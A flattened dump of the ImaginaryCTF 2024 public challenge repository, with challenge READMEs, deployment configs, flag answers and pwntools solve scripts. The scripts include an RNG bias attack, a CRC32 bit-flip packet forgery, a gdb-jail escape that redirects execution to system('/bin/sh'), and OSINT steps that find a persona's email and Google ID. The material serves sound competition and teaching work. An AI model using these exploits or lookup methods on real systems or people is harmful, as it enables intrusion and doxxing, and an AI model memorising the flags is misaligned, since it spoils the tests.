The problem is that `h = 4 * large_number`, so the decryption might not be unique. But we know that the sum of the correct ones is the real key, which is just 128 bits -> LLL! 22 | -------------------------------------------------------------------------------- /Crypto/notitle/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{the_weird_magic_operation_is_not_so_magic_after_all..} 2 | -------------------------------------------------------------------------------- /Crypto/notitle/challenge/output.py: -------------------------------------------------------------------------------- 1 | output.txt -------------------------------------------------------------------------------- /Crypto/pacap/README.md: -------------------------------------------------------------------------------- 1 | # pacap 2 | **Category:** Crypto 3 | **Difficulty:** Medium 4 | **Author:** maple3142 5 | 6 | ## Description 7 | 8 | The "capac" challenge from Crypto CTF 2024 can be directly solved by factorizing the modulus, but is it still solvable if the modulus is much larger? 9 | 10 | Original challenge is made by [@factoreal](https://x.com/refactoreal). 11 | 12 | ## Distribution 13 | 14 | - `chall.sage` 15 | - `output.txt` 16 | 17 | ## Solution 18 | 19 | Taking the resultant of curve equation and $x^3+cy^3=1$ result in a 6-degree polynomial $f(x,y)$. By, substituting $u=1-x^3$, $v=y^3$, $f$ can be written as a polynomial in $u$ and $v$, with only $u^2$, $uv$ and $v^2$ terms. Note that $x,y$ are pretty small compared to the modulus, so $u,v$ are still small. 20 | 21 | Applying coppersmith method only find the trivial root $(0, 0)$, so I take the gcd of the first two short polynomials and it result in a polynomial in the form of $au+bv$. Since `a,b` are small, we can assume that $v=k*a$ for some small $k=gcd(u,v)$ (up to sign) and recover the flag from $u$ and $v$. 22 | -------------------------------------------------------------------------------- /Crypto/pacap/challenge/flag.py: -------------------------------------------------------------------------------- 1 | flag = b'ictf{a big modulus and a small flag implies coppersmiths method, and a super big modulus means that I can put a lot of useless things here and ensure it is still solvable: 32d232b58c7c9f9aaed9}' 2 | -------------------------------------------------------------------------------- /Crypto/solitude/README.md: -------------------------------------------------------------------------------- 1 | # solitude 2 | **Category:** Crypto 3 | **Difficulty:** Easy-Medium 4 | **Author:** Eth007 5 | 6 | ## Description 7 | 8 | The best thinking has been done in solitude. The worst has been done in turmoil. 9 | - Thomas A. Edison 10 | 11 | ## Distribution 12 | 13 | - `main.py` 14 | - nc 15 | 16 | ## Solution 17 | 18 | This RNG is a variant of https://en.wikipedia.org/wiki/Solitaire_(cipher), which is vulnerable as it tends to repeat keystream bytes. We can exploit this by XORing together consecutive bytes in different flag encryptions and selecting the most common combinations. This can be used to recover the flag. (see solve.py) 19 | -------------------------------------------------------------------------------- /Crypto/solitude/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: solitude 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | healthcheck: 11 | enabled: false 12 | image: eu.gcr.io/imaginaryctf-2023/solitude-challenge:c43104aa6461be2c6c5ed91061504b52a6640538f2d69ab04de43d8b0823e31a 13 | -------------------------------------------------------------------------------- /Crypto/solitude/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM python:latest as chroot 15 | 16 | RUN /usr/sbin/useradd --no-create-home -u 1000 user 17 | 18 | COPY flag.txt /home/user/flag.txt 19 | COPY main.py /home/user/run 20 | RUN chmod 555 /home/user/run 21 | 22 | FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb 23 | 24 | COPY --from=chroot / /chroot 25 | 26 | COPY nsjail.cfg /home/user/ 27 | 28 | CMD kctf_setup && \ 29 | kctf_drop_privs \ 30 | socat \ 31 | TCP-LISTEN:1337,reuseaddr,fork \ 32 | EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/run" 33 | -------------------------------------------------------------------------------- /Crypto/solitude/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{biased_rng_so_sad_6b065f93} 2 | -------------------------------------------------------------------------------- /Crypto/solitude/challenge/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | conn = remote("34.91.117.150", 1337) 4 | 5 | def retr(i): 6 | conn.recvuntil(b"? ") 7 | conn.sendline(str(i).encode()) 8 | out = [] 9 | out = conn.recvuntil(b"got", drop=True).strip().split() 10 | return [bytes.fromhex(i.decode()) for i in out] 11 | 12 | 13 | res = [{} for _ in range(len(retr(1)[0])-1)] 14 | for a in retr(100000): 15 | for i in range(len(a)-1): 16 | rr = a[i] ^ a[i+1] 17 | if rr in res[i]: 18 | res[i][rr] += 1 19 | else: 20 | res[i][rr] = 1 21 | 22 | recovered = [max(r.keys(), key=lambda x: r[x]) for r in res] 23 | flag = list(b"i") 24 | for f in recovered: 25 | flag.append(f ^ flag[-1]) 26 | print(bytes(flag)) 27 | -------------------------------------------------------------------------------- /Crypto/tango/README.md: -------------------------------------------------------------------------------- 1 | # Tango 2 | **Category:** Crypto 3 | **Difficulty:** Medium 4 | **Author:** lodsb 5 | 6 | ## Description 7 | 8 | Let's dance! 9 | 10 | ## Distribution 11 | 12 | - the players should get a copy of `server.py` 13 | - challenge instancer (is it necessary if there's no RCE in the app?) 14 | 15 | ## Solution 16 | 17 | Perform bit-flipping to change user and command. Use the fact that crc32(x ^ y ^ z) = crc32(x) ^ crc32(y) ^ crc32(z) to forge the checksum. 18 | -------------------------------------------------------------------------------- /Crypto/tango/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: tango 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | healthcheck: 11 | enabled: false 12 | image: eu.gcr.io/imaginaryctf-2023/tango-challenge:7f0d80d797d60e44766f6fe38252f881d5c8b2623809fda3e932d1796a1c6808 13 | -------------------------------------------------------------------------------- /Crypto/tango/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM python:3.12.4-bookworm@sha256:2c532e649905326835c73b86c89e1cbb3d1572c5331402d1013559058a22c33f AS chroot 15 | 16 | RUN pip install -U pip && pip install pycryptodome 17 | RUN /usr/sbin/useradd --no-create-home -u 1024 user 18 | 19 | COPY server.py /home/user/server.py 20 | COPY secret.py /home/user/secret.py 21 | RUN chmod 555 /home/user/server.py 22 | 23 | FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb 24 | 25 | COPY --from=chroot / /chroot 26 | 27 | COPY nsjail.cfg /home/user/ 28 | 29 | CMD kctf_setup && \ 30 | kctf_drop_privs \ 31 | socat \ 32 | TCP-LISTEN:1337,reuseaddr,fork \ 33 | EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /usr/local/bin/python3.12 /home/user/server.py" -------------------------------------------------------------------------------- /Crypto/tango/challenge/secret.py: -------------------------------------------------------------------------------- 1 | FLAG = 'ictf{F0xtr0t_L1m4_4lph4_G0lf}' 2 | -------------------------------------------------------------------------------- /Crypto/tango/challenge/solve.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import bytes_to_long, long_to_bytes 2 | from pwn import * 3 | from zlib import crc32 4 | 5 | # io = process(['python3', 'server.py']) 6 | io = remote('34.147.35.216', 1337) 7 | 8 | io.sendlineafter(b'> ', b'E') 9 | io.sendlineafter(b': ', b'abc') 10 | packet = bytes.fromhex(io.recvline().split(b': ')[-1].decode()) 11 | 12 | nonce = packet[:8] 13 | checksum = bytes_to_long(packet[8:12]) 14 | ciphertext = packet[12:] 15 | 16 | mod = b'\x00' * len('{"user": "') + xor(b'user', b'root') + b'\x00' * len('", "command": "') + xor(b'abc", ', b'flag",') + b'\x00' * len('"nonce": "XXXXXXXXXXXXXXXX"}') 17 | forged_ciphertext = xor(ciphertext, mod) 18 | forged_crc = checksum ^ crc32(mod) ^ crc32(b'\x00' * len(mod)) 19 | forged_packet = nonce + long_to_bytes(forged_crc) + forged_ciphertext 20 | 21 | io.sendlineafter(b'> ', b'R') 22 | io.sendlineafter(b': ', forged_packet.hex().encode()) 23 | log.info(io.recvline().decode()) 24 | -------------------------------------------------------------------------------- /Forensics/Sleepy Alarm/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{1_sl33py_NaYuKi_alarm_2a634dc1bb2} -------------------------------------------------------------------------------- /Forensics/Sleepy Alarm/readme.md: -------------------------------------------------------------------------------- 1 | # Sleepy Alarm 2 | **Category:** Forensics 3 | **Difficulty:** Medium 4 | **Author:** Minerva. 5 | 6 | ## Description 7 | Yuuichi woke up for his school, but the alarm audio seems to have an extra jingle in it. Maybe you can help him uncover the secret? 8 | 9 | Hint: The flag length, including ictf and enclosing braces, is 39. 10 | 11 | ## Distribution 12 | 13 | - `togive/morning_n_breakfast.mp3` 14 | 15 | ## Solution 16 | Easiest way: reverse search "morning_n_breakfast.mp3" to find the audio, and then compare the two signals. 17 | Intended way: the audio signal has a very light "jingle" when heard at full volume. FFT analysis also shows an unusual peak at 8kHz. From here, after isolating the 8kHz wave, it appears to have three distinct amplitudes i.e. 2e-3, 5e-3, and 0. The modulating algorithm is Amplitude Shift Keying. 0 amplitude indicates completion of one byte, while 2e-3 and 5e-3 represent 0 and 1 respectively. Each bit is "transmitted" for a duration of 0.02s, or 50 baud. 18 | -------------------------------------------------------------------------------- /Forensics/Sleepy Alarm/src/morning_n_breakfast.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Forensics/Sleepy Alarm/src/morning_n_breakfast.mp3 -------------------------------------------------------------------------------- /Forensics/Sleepy Alarm/src/morning_n_breakfast_original.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Forensics/Sleepy Alarm/src/morning_n_breakfast_original.mp3 -------------------------------------------------------------------------------- /Forensics/Sleepy Alarm/togive/.s: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Forensics/Sleepy Alarm/togive/morning_n_breakfast.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Forensics/Sleepy Alarm/togive/morning_n_breakfast.mp3 -------------------------------------------------------------------------------- /Forensics/bom/README.md: -------------------------------------------------------------------------------- 1 | # bom 2 | **Category:** Forensics 3 | **Difficulty:** Easy 4 | **Author:** Eth007 5 | 6 | ## Description 7 | 8 | 楣瑦筴栴瑟楳渷彣桩渳獥 9 | 10 | ## Distribution 11 | 12 | - `chal.txt` 13 | 14 | ## Solution 15 | 16 | - `cat chal.txt` 17 | -------------------------------------------------------------------------------- /Forensics/bom/chal.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Forensics/bom/chal.txt -------------------------------------------------------------------------------- /Forensics/bom/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{th4t_isn7_chin3se} 2 | -------------------------------------------------------------------------------- /Forensics/bom/gen.py: -------------------------------------------------------------------------------- 1 | 2 | with open("chal.txt", "wb") as f: 3 | f.write(bytes.fromhex('FEFF')) 4 | for n in b"ictf{th4t_isn7_chin3se}": 5 | f.write(bytes([n])) 6 | f.close() 7 | -------------------------------------------------------------------------------- /Forensics/cartesian-1/README.md: -------------------------------------------------------------------------------- 1 | # cartesian-1 2 | **Category**: OSINT 3 | **Difficulty**: Easy 4 | **Author**: Eth007 5 | 6 | # Description 7 | Greetings. You have been tasked with investigating the whereabouts of a potential recruit. To perform this top-secret background check, we must gather as much information as possible. 8 | 9 | Please investigate Terrence Descartes. We know that his social accounts are relatively new, so please do not attack anything out of scope. For the sake of this series of challenges, nothing pertaining to Terry has existed before July 17, 2024. Do not investigate anything posted online before then. 10 | 11 | # Distribution 12 | - None 13 | 14 | # Solution 15 | 16 | - The flag is on Terry's instagram, which can be found linked to his GitHub. Using https://mollygram.com/download-highlights we can download the highlights, and get the flag. 17 | -------------------------------------------------------------------------------- /Forensics/cartesian-1/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{i_love_revealing_info_on_the_internet} 2 | -------------------------------------------------------------------------------- /Forensics/cartesian-2/README.md: -------------------------------------------------------------------------------- 1 | # cartesian-2 2 | **Category**: OSINT 3 | **Difficulty**: Easy-Medium 4 | **Author**: Eth007 5 | 6 | # Description 7 | Please keep digging into Terrence. We have reason to suspect that there might be more to him that it seems. Look into his trip last summer. See if you can find anything up with him. 8 | 9 | # Distribution 10 | - None 11 | 12 | # Solution 13 | 14 | - After finding Terrence's email from his GitHub (add a .patch after viewing a commit, and you can see his email is terrencedescartes@gmail.com), use https://epieos.com/?q=terrencedescartes%40gmail.com&t=email to find his Google ID. This allows you to see his Google reviews at https://www.google.com/maps/contrib/115542426133698026792, leading to the flag. 15 | -------------------------------------------------------------------------------- /Forensics/cartesian-2/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{wh3n_th3y_s4y_publ1c_th3y_m3an_publ1c_9f1b2314} 2 | -------------------------------------------------------------------------------- /Forensics/cartesian-3/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: "cartesian-3" 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | ports: 11 | - protocol: "TCP" 12 | port: 80 13 | targetPort: 5000 14 | healthcheck: 15 | enabled: false 16 | image: eu.gcr.io/imaginaryctf-2023/cartesian-3-challenge:c4ca62e8b1b485401b548b601d9e1cda082dc29327c3f737c242e32d5f7e1aa5 17 | -------------------------------------------------------------------------------- /Forensics/cartesian-3/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9-slim 2 | 3 | ENV FLASK_APP=/app/app.py:app 4 | 5 | RUN pip install flask==3.0.3 6 | 7 | WORKDIR /app 8 | COPY app.py /app/app.py 9 | COPY flag.txt /app/flag.txt 10 | COPY templates/ /app/templates/ 11 | 12 | EXPOSE 80 13 | 14 | 15 | WORKDIR /app 16 | CMD ["python3", "/app/app.py"] 17 | -------------------------------------------------------------------------------- /Forensics/cartesian-3/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{pls_stay_safe_out_there_e072db31b690cfdb} 2 | -------------------------------------------------------------------------------- /Forensics/cartesian-3/challenge/templates/success.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Password Reset Success 7 | 8 | 26 | 27 | 28 |
29 |
30 | {{ flag }} 31 |
32 |
33 | 34 | 35 | -------------------------------------------------------------------------------- /Forensics/crash/README.md: -------------------------------------------------------------------------------- 1 | # crash 2 | **Category:** Forensics 3 | **Difficulty:** Easy 4 | **Author:** cleverbear57, Eth007, Brandy 5 | 6 | ## Description 7 | 8 | I didn't save my work... 9 | 10 | ## Distribution 11 | 12 | - `dump.vmem` (https://storage.googleapis.com/ictf-2024-files/dump.vmem) 13 | 14 | ## Solution 15 | 16 | - volatility memdump the notepad.exe process 17 | - get the text from there 18 | -------------------------------------------------------------------------------- /Forensics/crash/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{aa0eb707a41b2ca6} 2 | -------------------------------------------------------------------------------- /Forensics/dog-mom/README.md: -------------------------------------------------------------------------------- 1 | # dog-mom 2 | **Category**: OSINT 3 | **Difficulty**: Easy 4 | **Author**: Eth007 5 | 6 | # Description 7 | i'm a dog mom i 🩷 dogs 8 | 9 | Find where this picture was taken; submit your flag as `ictf{latitude_longitude}`, both rounded to three decimal places. (example: `ictf{-12.345_66.533}`) 10 | 11 | # Distributions 12 | - `image.png` 13 | 14 | # Solution 15 | 16 | - Google image search on just the top left corner (cutting out the metal bar) will show that this is the view from the top of the Cathedral of Learning in Pittsburgh, PA. Submit that location as the flag. 17 | 18 | -------------------------------------------------------------------------------- /Forensics/dog-mom/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{40.444_-79.954} 2 | -------------------------------------------------------------------------------- /Forensics/dog-mom/challenge/image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Forensics/dog-mom/challenge/image.png -------------------------------------------------------------------------------- /Forensics/elf in front of a sunset/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{elf_waifus_best_waifus_2h12lntka} 2 | -------------------------------------------------------------------------------- /Forensics/elf in front of a sunset/readme.md: -------------------------------------------------------------------------------- 1 | # elf in front of a sunset 2 | **Category:** Forensics 3 | **Difficulty:** Easy-Medium 4 | **Author:** Minerva. 5 | 6 | ## Description 7 | Here is a picture of elves, taken from Wikipedia. Enjoy. 8 | 9 | ## Distribution 10 | 11 | - `togive/elves.bmp` 12 | 13 | ## Solution 14 | The size of bitmap image and the pixel count do not match. Fixing the bitmap height from the header data reveals top rows that contain an elf executable encoded in 8 bit grayscale. Extract it, and reverse it to find a shuffled flag as well as the shuffling algorithm. Reverse and submit. 15 | -------------------------------------------------------------------------------- /Forensics/elf in front of a sunset/src/download.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Forensics/elf in front of a sunset/src/download.bmp -------------------------------------------------------------------------------- /Forensics/elf in front of a sunset/src/elves.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Forensics/elf in front of a sunset/src/elves.bmp -------------------------------------------------------------------------------- /Forensics/elf in front of a sunset/src/testcode.cpp: -------------------------------------------------------------------------------- 1 | #include"stdio.h" 2 | #include"string.h" 3 | #include"stdlib.h" 4 | 5 | void displayhex(char[]); 6 | 7 | int main() 8 | { 9 | // Teh flag 10 | // char flag[]="ictf{elf_waifus_best_waifus_2h12lntka}"; 11 | char flag[] = "_{f2isfsatutflwa_nh2}__asitib1leefwcuk"; 12 | // Create a shuffling scheme 13 | srand(0x123123D); 14 | for(int i=0;i", "eval") 15 | addaudithook(hook) 16 | return dummy() 17 | 18 | 19 | if __name__ == "__main__": 20 | expr = input("Math expression: ") 21 | if len(expr) <= 200 and match(r"[0-9+\-*/]+", expr): 22 | print(safe_eval(_exit, expr)) 23 | else: 24 | print("Do you know what is a calculator?") 25 | -------------------------------------------------------------------------------- /Misc/discord/README.md: -------------------------------------------------------------------------------- 1 | # discord 2 | **Category**: Misc 3 | **Difficulty**: Easy 4 | **Author**: Board 5 | 6 | # Description 7 | Join our Discord community for updates and support! If you would like to do some more CTF after this competition, we do host daily CTF challenges on our Discord server as well. Join at https://discord.gg/ctf . You can find the flag for this challenge in the `#imaginaryctf-2024` channel. 8 | 9 | # Distribution 10 | - None 11 | 12 | # Solution 13 | 14 | Copy and paste the flag from Discord. 15 | 16 | -------------------------------------------------------------------------------- /Misc/discord/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{fake_flag_for_testing} 2 | -------------------------------------------------------------------------------- /Misc/gdbjail1/README.md: -------------------------------------------------------------------------------- 1 | # gdbjail1 2 | **Category**: Misc 3 | **Difficulty**: Easy 4 | **Author**: Eth007 5 | 6 | # Description 7 | gelatinous grudges garnish grevious gravestones 8 | 9 | # Distributions 10 | - `Dockerfile` 11 | - `main.py` 12 | - `run.sh` 13 | - `gdbinit.sh` 14 | - `nsjail.cfg` 15 | - nc connection 16 | 17 | # Solution 18 | 19 | - solve.py 20 | 21 | -------------------------------------------------------------------------------- /Misc/gdbjail1/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: gdbjail1 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | healthcheck: 11 | enabled: false 12 | image: eu.gcr.io/imaginaryctf-2023/gdbjail1-challenge:d4166afc13882c9183d0d65204d2df659445365af32c2884a0c961f20187eff5 13 | -------------------------------------------------------------------------------- /Misc/gdbjail1/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{n0_m0re_debugger_a2cd3018} 2 | -------------------------------------------------------------------------------- /Misc/gdbjail1/challenge/gdbinit.sh: -------------------------------------------------------------------------------- 1 | source /home/user/main.py 2 | -------------------------------------------------------------------------------- /Misc/gdbjail1/challenge/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Misc/gdbjail1/challenge/libc.so.6 -------------------------------------------------------------------------------- /Misc/gdbjail1/challenge/main.py: -------------------------------------------------------------------------------- 1 | import gdb 2 | 3 | def main(): 4 | gdb.execute("file /bin/cat") 5 | gdb.execute("break read") 6 | gdb.execute("run") 7 | 8 | while True: 9 | try: 10 | command = input("(gdb) ") 11 | if command.strip().startswith("break") or command.strip().startswith("set") or command.strip().startswith("continue"): 12 | try: 13 | gdb.execute(command) 14 | except gdb.error as e: 15 | print(f"Error executing command '{command}': {e}") 16 | else: 17 | print("Only 'break', 'set', and 'continue' commands are allowed.") 18 | except: 19 | pass 20 | 21 | if __name__ == "__main__": 22 | main() 23 | -------------------------------------------------------------------------------- /Misc/gdbjail1/challenge/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | gdb -x /home/user/gdbinit 4 | -------------------------------------------------------------------------------- /Misc/gdbjail1/challenge/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | libc = ELF("./libc.so.6") # taken from docker image 4 | conn = remote("34.91.79.108", 1337) 5 | 6 | conn.sendline(f"set $rdi=$rip+({next(libc.search(b'/bin/sh'))-libc.sym.read})".encode()) 7 | conn.sendline(f"set $rip=$rip+({libc.sym.system-libc.sym.read})".encode()) 8 | conn.sendline(b"continue") 9 | 10 | conn.interactive() 11 | -------------------------------------------------------------------------------- /Misc/gdbjail2/README.md: -------------------------------------------------------------------------------- 1 | # gdbjail2 2 | **Category**: Misc 3 | **Difficulty**: Medium 4 | **Author**: Eth007 5 | 6 | # Description 7 | rip rip 8 | 9 | # Distributions 10 | - `Dockerfile` 11 | - `main.py` 12 | - `run.sh` 13 | - `gdbinit.sh` 14 | - `nsjail.cfg` 15 | - nc connection 16 | 17 | # Solution 18 | 19 | - solve.py 20 | 21 | -------------------------------------------------------------------------------- /Misc/gdbjail2/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: gdbjail2 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | healthcheck: 11 | enabled: false 12 | image: eu.gcr.io/imaginaryctf-2023/gdbjail2-challenge:127ad55d6e18cfb4439c854d158f7b8775d8dc3cb6d5031507110ab7237e0667 13 | -------------------------------------------------------------------------------- /Misc/gdbjail2/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{i_l0ve_syscalls_eebc5336} 2 | -------------------------------------------------------------------------------- /Misc/gdbjail2/challenge/gdbinit.sh: -------------------------------------------------------------------------------- 1 | source /home/user/main.py 2 | -------------------------------------------------------------------------------- /Misc/gdbjail2/challenge/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Misc/gdbjail2/challenge/libc.so.6 -------------------------------------------------------------------------------- /Misc/gdbjail2/challenge/main.py: -------------------------------------------------------------------------------- 1 | import gdb 2 | 3 | blacklist = ["p", "-", "&", "(", ")", "[", "]", "{", "}", "0x"] 4 | 5 | def main(): 6 | gdb.execute("file /bin/cat") 7 | gdb.execute("break read") 8 | gdb.execute("run") 9 | 10 | while True: 11 | try: 12 | command = input("(gdb) ") 13 | if any([word in command for word in blacklist]): 14 | print("Banned word detected!") 15 | continue 16 | if command.strip().startswith("break") or command.strip().startswith("set") or command.strip().startswith("continue"): 17 | try: 18 | gdb.execute(command) 19 | except gdb.error as e: 20 | print(f"Error executing command '{command}': {e}") 21 | else: 22 | print("Only 'break', 'set', and 'continue' commands are allowed.") 23 | except: 24 | pass 25 | 26 | if __name__ == "__main__": 27 | main() 28 | -------------------------------------------------------------------------------- /Misc/gdbjail2/challenge/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | gdb -x /home/user/gdbinit 4 | -------------------------------------------------------------------------------- /Misc/left_in_the_dark/README.md: -------------------------------------------------------------------------------- 1 | # Left in the Dark 2 | **Category**: Misc 3 | **Difficulty**: Easy/Medium 4 | **Author**: puzzler7 5 | 6 | # Description 7 | In another challenge, I made a "beautiful" frontend for this maze, but what if you didn't have any of that? 8 | 9 | BONK. 10 | 11 | # Distributions 12 | - `challenge/maze.py` 13 | - Remote connection, in the form 14 | ```sh 15 | socat FILE:`tty`,raw,echo=0 TCP:localhost:1337 16 | ``` 17 | 18 | # Solution 19 | 20 | Walking around the maze keeping the wall on your left (or right) is guaranteed to bring you to the flag, if the maze is solvable. See `x.py` for an example 21 | 22 | -------------------------------------------------------------------------------- /Misc/left_in_the_dark/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: left-in-the-dark 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | healthcheck: 11 | enabled: false 12 | image: eu.gcr.io/imaginaryctf-2023/left-in-the-dark-challenge:d34f20bad7fc14ed381b86fa1037dd0dd248ee4f8c16724b2dfc201347fd5adc 13 | -------------------------------------------------------------------------------- /Misc/left_in_the_dark/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04 2 | 3 | RUN apt-get update -y && \ 4 | apt-get install -y python3-pip python3-dev socat 5 | 6 | RUN pip3 install console 7 | 8 | WORKDIR /app 9 | 10 | COPY . /app 11 | 12 | RUN chmod -R 555 /app 13 | 14 | CMD socat -dd TCP4-LISTEN:1337,fork,reuseaddr SYSTEM:./wrapper.sh,pty,echo=0 15 | -------------------------------------------------------------------------------- /Misc/left_in_the_dark/challenge/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.3' 2 | services: 3 | shell: 4 | build: . 5 | ports: 6 | - 1337:1337 7 | -------------------------------------------------------------------------------- /Misc/left_in_the_dark/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{glad_you_f0und_the_right_way_to_the_exit} 2 | -------------------------------------------------------------------------------- /Misc/left_in_the_dark/challenge/wrapper.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | python3 -u maze.py -------------------------------------------------------------------------------- /Misc/ok-nice/README.md: -------------------------------------------------------------------------------- 1 | # ok-nice 2 | **Category**: Misc **Difficulty**: Medium **Author**: NoobMaster 3 | 4 | # Description 5 | Ok nice 6 | 7 | # Distributions 8 | - `challenge/jail.py` 9 | - Remote connection 10 | 11 | # Solution 12 | 13 | Solve script at: `challenge/solve.py`. Python treats True as 1 which we can use to our advantage. First, find the length of the flag by: `flag[True]`. This becomes `flag[1]`. `flag[True+True]` becomes `flag[2]` and so on. Keep on doing this until you get "error". The error would be index out of range. Next, once you know the length of the flag, use this payload `[True,True][ord(flag[True])]` so in this case `ord(flag[True])` is the ascii value of the second character of the flag (python indexing starts at 0). Next, `[True,True]` is an array of length 2. `[True,True][99]` will give an error (99 is the ascii value of "c"). However, an array of len 100 (indexing starts at zero) will not give an error. So you know the correct value of `100-1` == 99. So just keep on adding elements to the array and once you find the character, move on to the next one. 14 | 15 | -------------------------------------------------------------------------------- /Misc/ok-nice/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: ok-nice 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | healthcheck: 11 | enabled: false 12 | image: eu.gcr.io/imaginaryctf-2023/ok-nice-challenge:a3c893234936cb4c379b184166d3be2bb56417f5302a1ae25e0227fd3db3ec22 13 | -------------------------------------------------------------------------------- /Misc/ok-nice/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 